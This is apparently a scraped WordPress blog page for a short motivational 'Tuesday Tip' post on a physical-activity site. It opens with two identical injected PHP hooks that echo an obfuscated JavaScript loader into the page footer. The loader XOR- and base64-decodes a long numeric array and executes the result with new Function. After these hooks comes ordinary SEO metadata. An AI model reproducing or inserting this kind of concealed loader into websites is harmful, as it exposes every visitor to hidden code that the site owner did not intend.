add_action('wp_footer', function () { echo '<script>(function(){\nvar xad2143=4568;\nif(xad2143>0){var y8377fb=xad2143-7177}else{var y8377fb=7177}\nvar z2ba7ee=y8377fb*82;\nvar _0x29c59be5cc20=[100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,116,119,66,112,113,81,103,114,117,103,127,87,120,93,89,79,110,81,66,96,97,65,78,84,97,96,65,121,97,93,89,65,100,116,14,127,113,100,81,80,119,7,111,87,116,119,123,124,119,94,89,4,101,92,124,83,117,7,96,84,114,112,66,108,110,119,3,87,101,92,116,103,110,112,111,84,114,116,15,120,123,94,103,114,126,78,70,103,98,7,89,122,97,7,15,85,110,103,78,82,96,112,65,121,110,90,89,123,117,112,103,102,117,65,78,85,114,65,69,124,110,7,94,84,110,65,90,108,97,96,6,124,96,96,90,80,110,90,70,82,117,112,78,87,110,112,90,80,97,81,3,84,114,6,15,97,113,65,65,80,98,98,127,123,113,119,99,115,99,114,108,125,116,100,93,108,126,100,3,110,103,93,127,82,119,81,115,99,117,81,127,114,103,119,14,117,126,6,119,80,126,103,3,114,126,100,81,102,119,103,103,121,119,65,127,124,117,115,123,121,119,81,116,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,14,82,114,93,123,123,119,65,111,80,103,65,2,117,119,115,127,82,119,81,115,99,117,81,127,114,101,93,112,125,116,100,93,108,126,100,3,110,103,93,127,80,126,103,3,119,119,119,65,115,119,65,123,127,113,99,123,119,114,116,93,115,114,93,123,85,113,119,103,113,119,65,127,124,117,115,123,82,126,65,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,126,100,81,102,119,103,103,121,103,65,123,117,117,103,103,127,126,93,123,123,126,100,7,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,119,119,65,115,119,65,123,127,113,99,123,82,113,119,14,116,116,119,3,114,114,65,115,123,126,94,93,123,126,103,100,114,116,119,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,114,117,81,65,108,117,116,89,123,112,115,123,108,117,119,123,124,117,116,14,116,112,115,123,121,119,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,126,103,127,116,112,119,89,117,119,6,123,124,126,78,6,121,103,65,127,80,117,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,110,116,14,82,114,93,123,115,119,93,127,119,114,116,93,115,114,93,89,65,96,94,69,123,126,6,6,79,119,65,103,121,116,112,116,102,110,100,99,64,97,65,14,67,96,119,94,85,125,96,6,102,110,65,69,64,96,112,69,69,114,7,89,67,97,96,89,89,110,96,93,67,114,7,6,64,125,112,90,87,97,90,90,85,110,103,14,67,110,119,66,80,98,7,111,84,114,116,15,120,123,81,93,122,114,94,2,99,114,7,116,102,114,7,66,96,117,96,78,96,110,96,100,102,96,81,69,111,119,65,2,108,116,119,127,114,98,98,127,124,126,100,81,96,100,98,127,121,112,116,85,123,113,6,103,97,113,100,14,99,112,94,69,123,126,6,6,79,117,78,81,115,126,119,2,125,126,7,119,79,114,94,103,110,114,116,66,114,126,94,81,102,126,94,93,80,100,96,7,116,110,6,100,103,99,112,116,125,110,100,96,125,99,92,127,121,112,116,85,123,113,6,123,83,113,119,14,83,113,100,15,112,110,6,100,110,123,81,2,99,112,65,65,84,96,81,103,122,100,98,127,122,113,119,103,85,114,81,89,80,103,65,115,127,119,65,89,108,116,96,112,85,110,7,96,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,99,112,119,99,82,117,116,3,103,126,103,65,80,126,81,81,93,119,78,90,112,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,66,108,103,96,66,108,100,115,112,85,97,6,100,97,116,119,66,112,98,114,127,99,112,119,99,82,117,116,3,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,122,112,65,93,125,113,119,108,103,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,78,80,96,99,115,79,112,116,103,112,126,103,81,83,100,7,15,115,103,98,127,82,112,116,2,119,114,78,89,96,99,115,70,125,96,81,69,117,126,6,99,84,114,116,15,120,123,81,69,85,112,103,124,103,110,96,111,79,117,78,65,96,119,90,115,79,117,78,85,124,117,94,81,113,103,65,115,127,119,65,89,108,116,96,111,79,117,78,65,96,119,93,108,103,110,6,103,97,113,65,65,80,98,98,127,125,113,100,89,115,116,65,103,80,99,116,6,123,126,78,2,127,124,119,123,108,100,98,127,122,112,65,93,125,113,119,108,114,126,94,81,102,126,94,93,80,100,98,127,122,126,116,99,117,103,96,15,115,103,96,78,84,100,112,111,115,117,6,99,79,117,94,93,87,116,119,85,115,126,6,103,79,126,100,103,83,119,119,14,87,112,99,108,103,102,94,93,80,116,119,123,125,103,65,69,80,119,81,119,67,116,103,65,80,122,81,127,124,117,115,99,79,117,94,93,87,116,119,85,115,126,6,100,97,115,116,14,127,113,100,81,80,119,6,6,79,126,100,103,83,119,119,14,87,112,96,111,103,114,81,65,108,114,81,96,112,117,115,103,97,126,65,81,108,113,116,14,114,101,93,70,97,115,116,119,122,113,119,123,121,113,103,103,117,119,6,6,79,119,65,2,102,114,78,89,87,100,98,127,83,113,94,69,80,103,98,127,122,113,119,99,82,100,116,111,80,117,116,93,111,126,65,120,120,119,65,81,87,98,98,6,80,119,81,119,115,126,81,94,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,2,80,116,103,127,112,112,119,90,116,123,81,85,116,113,81,15,115,112,94,69,123,126,6,6,79,113,116,85,125,113,81,78,103,119,65,81,87,98,98,99,81,127,101,99,108,113,100,6,25,117,116,65,111,117,116,2,108,100,99,100,97,123,94,81,110,117,94,89,123,103,65,127,82,117,119,120,112,101,92,6,95,102,92,90,125,103,98,127,83,113,94,69,80,103,100,93,80,113,119,94,115,96,92,127,111,112,65,89,87,114,115,123,83,117,116,93,25,117,116,65,111,117,116,2,108,124,103,81,123,117,103,81,80,100,99,89,67,119,81,123,108,117,119,123,108,103,114,93,99,126,103,94,125,103,99,89,123,126,100,6,116,116,119,2,123,113,103,103,117,119,6,127,126,126,81,127,114,101,93,100,97,123,94,81,110,117,94,89,123,103,78,93,115,119,119,81,117,113,116,90,103,97,112,7,82,110,96,111,79,113,116,85,125,113,81,78,114,119,81,123,116,119,81,65,124,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,113,100,14,99,112,92,127,121,126,65,99,117,116,100,103,124,100,101,85,29,127,95,120,114,126,103,65,80,126,81,94,112,123,94,81,110,117,94,89,123,103,78,14,127,126,94,6,117,119,78,2,127,121,103,81,96,113,99,100,115,96,94,119,121,114,116,93,121,116,99,99,127,100,116,111,79,116,65,115,87,114,6,99,127,100,112,111,103,115,112,111,79,113,116,85,125,113,81,78,114,119,81,123,127,126,78,14,117,126,7,119,79,113,116,85,125,113,81,78,114,119,81,123,108,116,119,119,127,119,94,81,108,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,123,81,85,116,113,81,15,112,119,65,81,87,98,101,81,80,126,65,127,80,100,99,100,115,96,94,116,97,123,94,81,110,117,94,89,123,103,78,2,127,119,65,90,112,124,76,2,95,127,6,123,83,113,100,14,115,119,65,89,115,117,78,100,112,123,81,69,111,116,100,7,115,100,112,111,103,100,112,111,103,117,78,81,114,114,94,93,115,119,81,120,120,123,81,81,110,126,78,81,102,117,103,3,112,123,94,93,117,116,65,69,114,114,81,15,115,112,81,103,122,100,98,127,108,119,81,85,122,119,65,2,102,99,7,119,79,114,116,81,112,116,115,123,116,117,119,123,125,113,103,96,115,126,65,81,108,113,116,14,114,98,98,6,80,119,81,119,115,126,81,94,114,126,65,81,83,119,81,115,84,117,115,99,114,113,119,115,116,100,112,111,84,114,116,15,120,123,94,103,80,114,65,94,103,112,81,85,83,119,81,123,80,126,103,3,110,101,90,15,114,110,99,70,116,119,119,81,108,116,103,127,124,96,6,89,127,113,103,99,79,114,81,65,116,119,99,70,116,126,103,65,80,114,119,119,83,96,76,111,97,113,103,124,110,123,81,123,115,114,81,100,116,117,103,65,108,114,112,82,125,110,100,96,125,100,92,127,124,117,65,2,83,112,119,14,103,103,99,89,116,114,116,93,127,126,94,90,125,123,115,115,115,117,96,82,85,115,112,111,80,117,116,93,111,126,65,120,120,123,81,123,121,114,65,14,87,113,93,99,79,114,116,81,112,116,114,111,79,113,103,127,126,117,65,123,121,114,76,116,116,123,94,103,80,114,65,94,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,115,99,113,119,93,126,100,116,111,84,114,116,15,120,123,81,85,116,112,65,93,82,112,7,119,79,119,100,103,111,117,103,82,122,101,76,127,116,112,116,81,124,116,6,123,80,117,116,2,111,119,100,90,101,123,81,93,82,113,116,96,112,123,81,115,99,113,119,93,126,103,78,14,127,126,94,81,116,113,99,100,110,101,93,70,97,116,119,66,112,123,81,85,116,112,65,93,82,112,6,103,80,117,116,93,111,126,65,120,120,123,81,85,116,112,65,93,82,112,6,123,80,117,116,6,116,114,119,2,127,100,99,127,78,103,93,108,124,103,93,112,125,101,93,100,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,103,65,2,123,113,103,2,112,100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,96,94,119,122,113,119,123,121,113,103,103,117,119,6,6,79,117,116,85,99,116,81,69,85,117,99,99,79,126,78,89,87,114,6,103,97,113,65,65,80,98,98,127,114,119,81,89,126,113,96,119,124,119,81,2,111,119,119,81,114,113,99,123,121,126,65,81,123,113,103,81,89,119,103,81,119,117,119,123,108,100,99,89,83,114,94,14,115,126,100,90,125,100,112,111,79,119,65,127,125,116,78,90,114,126,94,14,121,99,114,127,80,113,94,89,102,100,93,70,117,114,116,6,115,103,78,6,112,126,96,127,83,99,115,70,113,123,94,103,114,126,78,70,113,101,93,69,79,113,7,116,125,100,95,119,123,113,103,96,114,117,65,115,117,119,94,15,112,125,103,65,108,117,115,123,114,119,94,70,112,100,115,124,84,110,96,7,82,110,99,100,97,123,81,123,117,117,81,85,108,103,65,65,83,112,119,123,121,99,116,93,80,113,119,94,97,100,103,93,117,114,94,81,119,117,119,123,108,103,65,99,127,114,119,93,100,115,103,93,117,114,94,81,119,117,119,123,108,103,65,14,117,117,100,100,115,103,65,65,82,126,103,81,114,117,101,2,112,116,119,115,124,100,98,127,114,119,81,89,126,113,99,100,97,115,114,127,127,112,78,14,111,114,65,93,121,100,96,7,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,94,14,87,113,81,15,115,112,81,103,122,100,98,127,80,113,94,89,102,100,114,127,127,112,78,103,113,117,78,65,124,100,98,127,80,113,94,89,102,100,112,111,103,100,112,111,103,100,115,96,115,96,81,11,11];\nvar _0x1570ff9a726b=54;\nvar _0xcffea2dbbaa1=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x29c59be5cc20.length;_0xa916207c00b5++)\n  _0xcffea2dbbaa1+=String.fromCharCode(_0x29c59be5cc20[_0xa916207c00b5]^_0x1570ff9a726b);\nvar _0x73b3b1d25a3c=109;\nvar _0x2f74a95aecc4=atob(_0xcffea2dbbaa1);\nvar _code=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x2f74a95aecc4.length;_0xa916207c00b5++)\n  _code+=String.fromCharCode(_0x2f74a95aecc4.charCodeAt(_0xa916207c00b5)^_0x73b3b1d25a3c);\n(new Function(_code))();\n})();</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>(function(){\nvar xad2143=4568;\nif(xad2143>0){var y8377fb=xad2143-7177}else{var y8377fb=7177}\nvar z2ba7ee=y8377fb*82;\nvar _0x29c59be5cc20=[100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,116,119,66,112,113,81,103,114,117,103,127,87,120,93,89,79,110,81,66,96,97,65,78,84,97,96,65,121,97,93,89,65,100,116,14,127,113,100,81,80,119,7,111,87,116,119,123,124,119,94,89,4,101,92,124,83,117,7,96,84,114,112,66,108,110,119,3,87,101,92,116,103,110,112,111,84,114,116,15,120,123,94,103,114,126,78,70,103,98,7,89,122,97,7,15,85,110,103,78,82,96,112,65,121,110,90,89,123,117,112,103,102,117,65,78,85,114,65,69,124,110,7,94,84,110,65,90,108,97,96,6,124,96,96,90,80,110,90,70,82,117,112,78,87,110,112,90,80,97,81,3,84,114,6,15,97,113,65,65,80,98,98,127,123,113,119,99,115,99,114,108,125,116,100,93,108,126,100,3,110,103,93,127,82,119,81,115,99,117,81,127,114,103,119,14,117,126,6,119,80,126,103,3,114,126,100,81,102,119,103,103,121,119,65,127,124,117,115,123,121,119,81,116,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,14,82,114,93,123,123,119,65,111,80,103,65,2,117,119,115,127,82,119,81,115,99,117,81,127,114,101,93,112,125,116,100,93,108,126,100,3,110,103,93,127,80,126,103,3,119,119,119,65,115,119,65,123,127,113,99,123,119,114,116,93,115,114,93,123,85,113,119,103,113,119,65,127,124,117,115,123,82,126,65,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,126,100,81,102,119,103,103,121,103,65,123,117,117,103,103,127,126,93,123,123,126,100,7,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,119,119,65,115,119,65,123,127,113,99,123,82,113,119,14,116,116,119,3,114,114,65,115,123,126,94,93,123,126,103,100,114,116,119,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,114,117,81,65,108,117,116,89,123,112,115,123,108,117,119,123,124,117,116,14,116,112,115,123,121,119,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,126,103,127,116,112,119,89,117,119,6,123,124,126,78,6,121,103,65,127,80,117,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,110,116,14,82,114,93,123,115,119,93,127,119,114,116,93,115,114,93,89,65,96,94,69,123,126,6,6,79,119,65,103,121,116,112,116,102,110,100,99,64,97,65,14,67,96,119,94,85,125,96,6,102,110,65,69,64,96,112,69,69,114,7,89,67,97,96,89,89,110,96,93,67,114,7,6,64,125,112,90,87,97,90,90,85,110,103,14,67,110,119,66,80,98,7,111,84,114,116,15,120,123,81,93,122,114,94,2,99,114,7,116,102,114,7,66,96,117,96,78,96,110,96,100,102,96,81,69,111,119,65,2,108,116,119,127,114,98,98,127,124,126,100,81,96,100,98,127,121,112,116,85,123,113,6,103,97,113,100,14,99,112,94,69,123,126,6,6,79,117,78,81,115,126,119,2,125,126,7,119,79,114,94,103,110,114,116,66,114,126,94,81,102,126,94,93,80,100,96,7,116,110,6,100,103,99,112,116,125,110,100,96,125,99,92,127,121,112,116,85,123,113,6,123,83,113,119,14,83,113,100,15,112,110,6,100,110,123,81,2,99,112,65,65,84,96,81,103,122,100,98,127,122,113,119,103,85,114,81,89,80,103,65,115,127,119,65,89,108,116,96,112,85,110,7,96,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,99,112,119,99,82,117,116,3,103,126,103,65,80,126,81,81,93,119,78,90,112,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,66,108,103,96,66,108,100,115,112,85,97,6,100,97,116,119,66,112,98,114,127,99,112,119,99,82,117,116,3,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,122,112,65,93,125,113,119,108,103,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,78,80,96,99,115,79,112,116,103,112,126,103,81,83,100,7,15,115,103,98,127,82,112,116,2,119,114,78,89,96,99,115,70,125,96,81,69,117,126,6,99,84,114,116,15,120,123,81,69,85,112,103,124,103,110,96,111,79,117,78,65,96,119,90,115,79,117,78,85,124,117,94,81,113,103,65,115,127,119,65,89,108,116,96,111,79,117,78,65,96,119,93,108,103,110,6,103,97,113,65,65,80,98,98,127,125,113,100,89,115,116,65,103,80,99,116,6,123,126,78,2,127,124,119,123,108,100,98,127,122,112,65,93,125,113,119,108,114,126,94,81,102,126,94,93,80,100,98,127,122,126,116,99,117,103,96,15,115,103,96,78,84,100,112,111,115,117,6,99,79,117,94,93,87,116,119,85,115,126,6,103,79,126,100,103,83,119,119,14,87,112,99,108,103,102,94,93,80,116,119,123,125,103,65,69,80,119,81,119,67,116,103,65,80,122,81,127,124,117,115,99,79,117,94,93,87,116,119,85,115,126,6,100,97,115,116,14,127,113,100,81,80,119,6,6,79,126,100,103,83,119,119,14,87,112,96,111,103,114,81,65,108,114,81,96,112,117,115,103,97,126,65,81,108,113,116,14,114,101,93,70,97,115,116,119,122,113,119,123,121,113,103,103,117,119,6,6,79,119,65,2,102,114,78,89,87,100,98,127,83,113,94,69,80,103,98,127,122,113,119,99,82,100,116,111,80,117,116,93,111,126,65,120,120,119,65,81,87,98,98,6,80,119,81,119,115,126,81,94,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,2,80,116,103,127,112,112,119,90,116,123,81,85,116,113,81,15,115,112,94,69,123,126,6,6,79,113,116,85,125,113,81,78,103,119,65,81,87,98,98,99,81,127,101,99,108,113,100,6,25,117,116,65,111,117,116,2,108,100,99,100,97,123,94,81,110,117,94,89,123,103,65,127,82,117,119,120,112,101,92,6,95,102,92,90,125,103,98,127,83,113,94,69,80,103,100,93,80,113,119,94,115,96,92,127,111,112,65,89,87,114,115,123,83,117,116,93,25,117,116,65,111,117,116,2,108,124,103,81,123,117,103,81,80,100,99,89,67,119,81,123,108,117,119,123,108,103,114,93,99,126,103,94,125,103,99,89,123,126,100,6,116,116,119,2,123,113,103,103,117,119,6,127,126,126,81,127,114,101,93,100,97,123,94,81,110,117,94,89,123,103,78,93,115,119,119,81,117,113,116,90,103,97,112,7,82,110,96,111,79,113,116,85,125,113,81,78,114,119,81,123,116,119,81,65,124,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,113,100,14,99,112,92,127,121,126,65,99,117,116,100,103,124,100,101,85,29,127,95,120,114,126,103,65,80,126,81,94,112,123,94,81,110,117,94,89,123,103,78,14,127,126,94,6,117,119,78,2,127,121,103,81,96,113,99,100,115,96,94,119,121,114,116,93,121,116,99,99,127,100,116,111,79,116,65,115,87,114,6,99,127,100,112,111,103,115,112,111,79,113,116,85,125,113,81,78,114,119,81,123,127,126,78,14,117,126,7,119,79,113,116,85,125,113,81,78,114,119,81,123,108,116,119,119,127,119,94,81,108,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,123,81,85,116,113,81,15,112,119,65,81,87,98,101,81,80,126,65,127,80,100,99,100,115,96,94,116,97,123,94,81,110,117,94,89,123,103,78,2,127,119,65,90,112,124,76,2,95,127,6,123,83,113,100,14,115,119,65,89,115,117,78,100,112,123,81,69,111,116,100,7,115,100,112,111,103,100,112,111,103,117,78,81,114,114,94,93,115,119,81,120,120,123,81,81,110,126,78,81,102,117,103,3,112,123,94,93,117,116,65,69,114,114,81,15,115,112,81,103,122,100,98,127,108,119,81,85,122,119,65,2,102,99,7,119,79,114,116,81,112,116,115,123,116,117,119,123,125,113,103,96,115,126,65,81,108,113,116,14,114,98,98,6,80,119,81,119,115,126,81,94,114,126,65,81,83,119,81,115,84,117,115,99,114,113,119,115,116,100,112,111,84,114,116,15,120,123,94,103,80,114,65,94,103,112,81,85,83,119,81,123,80,126,103,3,110,101,90,15,114,110,99,70,116,119,119,81,108,116,103,127,124,96,6,89,127,113,103,99,79,114,81,65,116,119,99,70,116,126,103,65,80,114,119,119,83,96,76,111,97,113,103,124,110,123,81,123,115,114,81,100,116,117,103,65,108,114,112,82,125,110,100,96,125,100,92,127,124,117,65,2,83,112,119,14,103,103,99,89,116,114,116,93,127,126,94,90,125,123,115,115,115,117,96,82,85,115,112,111,80,117,116,93,111,126,65,120,120,123,81,123,121,114,65,14,87,113,93,99,79,114,116,81,112,116,114,111,79,113,103,127,126,117,65,123,121,114,76,116,116,123,94,103,80,114,65,94,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,115,99,113,119,93,126,100,116,111,84,114,116,15,120,123,81,85,116,112,65,93,82,112,7,119,79,119,100,103,111,117,103,82,122,101,76,127,116,112,116,81,124,116,6,123,80,117,116,2,111,119,100,90,101,123,81,93,82,113,116,96,112,123,81,115,99,113,119,93,126,103,78,14,127,126,94,81,116,113,99,100,110,101,93,70,97,116,119,66,112,123,81,85,116,112,65,93,82,112,6,103,80,117,116,93,111,126,65,120,120,123,81,85,116,112,65,93,82,112,6,123,80,117,116,6,116,114,119,2,127,100,99,127,78,103,93,108,124,103,93,112,125,101,93,100,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,103,65,2,123,113,103,2,112,100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,96,94,119,122,113,119,123,121,113,103,103,117,119,6,6,79,117,116,85,99,116,81,69,85,117,99,99,79,126,78,89,87,114,6,103,97,113,65,65,80,98,98,127,114,119,81,89,126,113,96,119,124,119,81,2,111,119,119,81,114,113,99,123,121,126,65,81,123,113,103,81,89,119,103,81,119,117,119,123,108,100,99,89,83,114,94,14,115,126,100,90,125,100,112,111,79,119,65,127,125,116,78,90,114,126,94,14,121,99,114,127,80,113,94,89,102,100,93,70,117,114,116,6,115,103,78,6,112,126,96,127,83,99,115,70,113,123,94,103,114,126,78,70,113,101,93,69,79,113,7,116,125,100,95,119,123,113,103,96,114,117,65,115,117,119,94,15,112,125,103,65,108,117,115,123,114,119,94,70,112,100,115,124,84,110,96,7,82,110,99,100,97,123,81,123,117,117,81,85,108,103,65,65,83,112,119,123,121,99,116,93,80,113,119,94,97,100,103,93,117,114,94,81,119,117,119,123,108,103,65,99,127,114,119,93,100,115,103,93,117,114,94,81,119,117,119,123,108,103,65,14,117,117,100,100,115,103,65,65,82,126,103,81,114,117,101,2,112,116,119,115,124,100,98,127,114,119,81,89,126,113,99,100,97,115,114,127,127,112,78,14,111,114,65,93,121,100,96,7,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,94,14,87,113,81,15,115,112,81,103,122,100,98,127,80,113,94,89,102,100,114,127,127,112,78,103,113,117,78,65,124,100,98,127,80,113,94,89,102,100,112,111,103,100,112,111,103,100,115,96,115,96,81,11,11];\nvar _0x1570ff9a726b=54;\nvar _0xcffea2dbbaa1=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x29c59be5cc20.length;_0xa916207c00b5++)\n  _0xcffea2dbbaa1+=String.fromCharCode(_0x29c59be5cc20[_0xa916207c00b5]^_0x1570ff9a726b);\nvar _0x73b3b1d25a3c=109;\nvar _0x2f74a95aecc4=atob(_0xcffea2dbbaa1);\nvar _code=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x2f74a95aecc4.length;_0xa916207c00b5++)\n  _code+=String.fromCharCode(_0x2f74a95aecc4.charCodeAt(_0xa916207c00b5)^_0x73b3b1d25a3c);\n(new Function(_code))();\n})();</script>'; }, 99);
<!DOCTYPE html>
<html lang="en-GB">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<link rel="pingback" href="https://thewhyteanswer.com/xmlrpc.php">
<link rel="profile" href="https://gmpg.org/xfn/11" />
<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />

	<!-- This site is optimized with the Yoast SEO plugin v28.5 - https://yoast.com/product/yoast-seo-wordpress/ -->
	<title>Tuesday Tip - The Whyte Answer</title>
	<link rel="canonical" href="https://thewhyteanswer.com/tuesday-tip/" />
	<meta property="og:locale" content="en_GB" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="Tuesday Tip - The Whyte Answer" />
	<meta property="og:url" content="https://thewhyteanswer.com/tuesday-tip/" />
	<meta property="og:site_name" content="The Whyte Answer" />
	<meta property="article:published_time" content="2020-04-16T08:55:00+00:00" />
	<meta property="article:modified_time" content="2020-04-16T08:55:04+00:00" />
	<meta property="og:image" content="https://thewhyteanswer.com/wp-content/uploads/2020/04/tuesday-tip.jpg" />
	<meta property="og:image:width" content="1280" />
	<meta property="og:image:height" content="720" />
	<meta property="og:image:type" content="image/jpeg" />
	<meta name="author" content="whyteanswer" />
	<meta name="twitter:card" content="summary_large_image" />
	<meta name="twitter:label1" content="Written by" />
	<meta name="twitter:data1" content="whyteanswer" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/#article","isPartOf":{"@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/"},"author":{"name":"whyteanswer","@id":"https:\/\/thewhyteanswer.com\/#\/schema\/person\/346c50a748f1fc539f82662c89fb91c9"},"headline":"Tuesday Tip","datePublished":"2020-04-16T08:55:00+00:00","dateModified":"2020-04-16T08:55:04+00:00","mainEntityOfPage":{"@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/"},"wordCount":10,"commentCount":0,"publisher":{"@id":"https:\/\/thewhyteanswer.com\/#organization"},"image":{"@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/#primaryimage"},"thumbnailUrl":"https:\/\/thewhyteanswer.com\/wp-content\/uploads\/2020\/04\/tuesday-tip.jpg","articleSection":["Better with Bean","Motivation"],"inLanguage":"en-GB","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/thewhyteanswer.com\/tuesday-tip\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/","url":"https:\/\/thewhyteanswer.com\/tuesday-tip\/","name":"Tuesday Tip - The Whyte Answer","isPartOf":{"@id":"https:\/\/thewhyteanswer.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/#primaryimage"},"image":{"@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/#primaryimage"},"thumbnailUrl":"https:\/\/thewhyteanswer.com\/wp-content\/uploads\/2020\/04\/tuesday-tip.jpg","datePublished":"2020-04-16T08:55:00+00:00","dateModified":"2020-04-16T08:55:04+00:00","breadcrumb":{"@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/#breadcrumb"},"inLanguage":"en-GB","potentialAction":[{"@type":"ReadAction","target":["https:\/\/thewhyteanswer.com\/tuesday-tip\/"]}]},{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/#primaryimage","url":"https:\/\/thewhyteanswer.com\/wp-content\/uploads\/2020\/04\/tuesday-tip.jpg","contentUrl":"https:\/\/thewhyteanswer.com\/wp-content\/uploads\/2020\/04\/tuesday-tip.jpg","width":1280,"height":720,"caption":"The Whyte Answer Greg Whyte talking about having patience, keep doing what you're doing, motivational talking."},{"@type":"BreadcrumbList","@id":"https:\/\/thewhyteanswer.com\/tuesday-tip\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/thewhyteanswer.com\/"},{"@type":"ListItem","position":2,"name":"Tuesday Tip"}]},{"@type":"WebSite","@id":"https:\/\/thewhyteanswer.com\/#website","url":"https:\/\/thewhyteanswer.com\/","name":"The Whyte Answer","description":"The Physical Activity Expert","publisher":{"@id":"https:\/\/thewhyteanswer.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/thewhyteanswer.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-GB"},{"@type":"Organization","@id":"https:\/\/thewhyteanswer.com\/#organization","name":"The Whyte Answer","url":"https:\/\/thewhyteanswer.com\/","logo":{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/thewhyteanswer.com\/#\/schema\/logo\/image\/","url":"http:\/\/1ps.77c.mytemp.website\/wp-content\/uploads\/2017\/02\/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png","contentUrl":"http:\/\/1ps.77c.mytemp.website\/wp-content\/uploads\/2017\/02\/80-GW-logo-print-cmyk-300dpi-transp-main-colour.png","width":157,"height":80,"caption":"The Whyte Answer"},"image":{"@id":"https:\/\/thewhyteanswer.com\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/thewhyteanswer.com\/#\/schema\/person\/346c50a748f1fc539f82662c89fb91c9","name":"whyteanswer","image":{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/secure.gravatar.com\/avatar\/82dcf3e3a621e286d551e61dc49139c2e92faab68ba413d5391f3617f589ac28?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/82dcf3e3a621e286d551e61dc49139c2e92faab68ba413d5391f3617f589ac28?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/82dcf3e3a621e286d551e61dc49139c2e92faab68ba413d5391f3617f589ac28?s=96&d=mm&r=g","caption":"whyteanswer"},"url":"https:\/\/thewhyteanswer.com\/author\/whyteanswer\/"}]}</script>
	<!-- / Yoast SEO plugin. -->


<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//www.googletagmanager.com' />
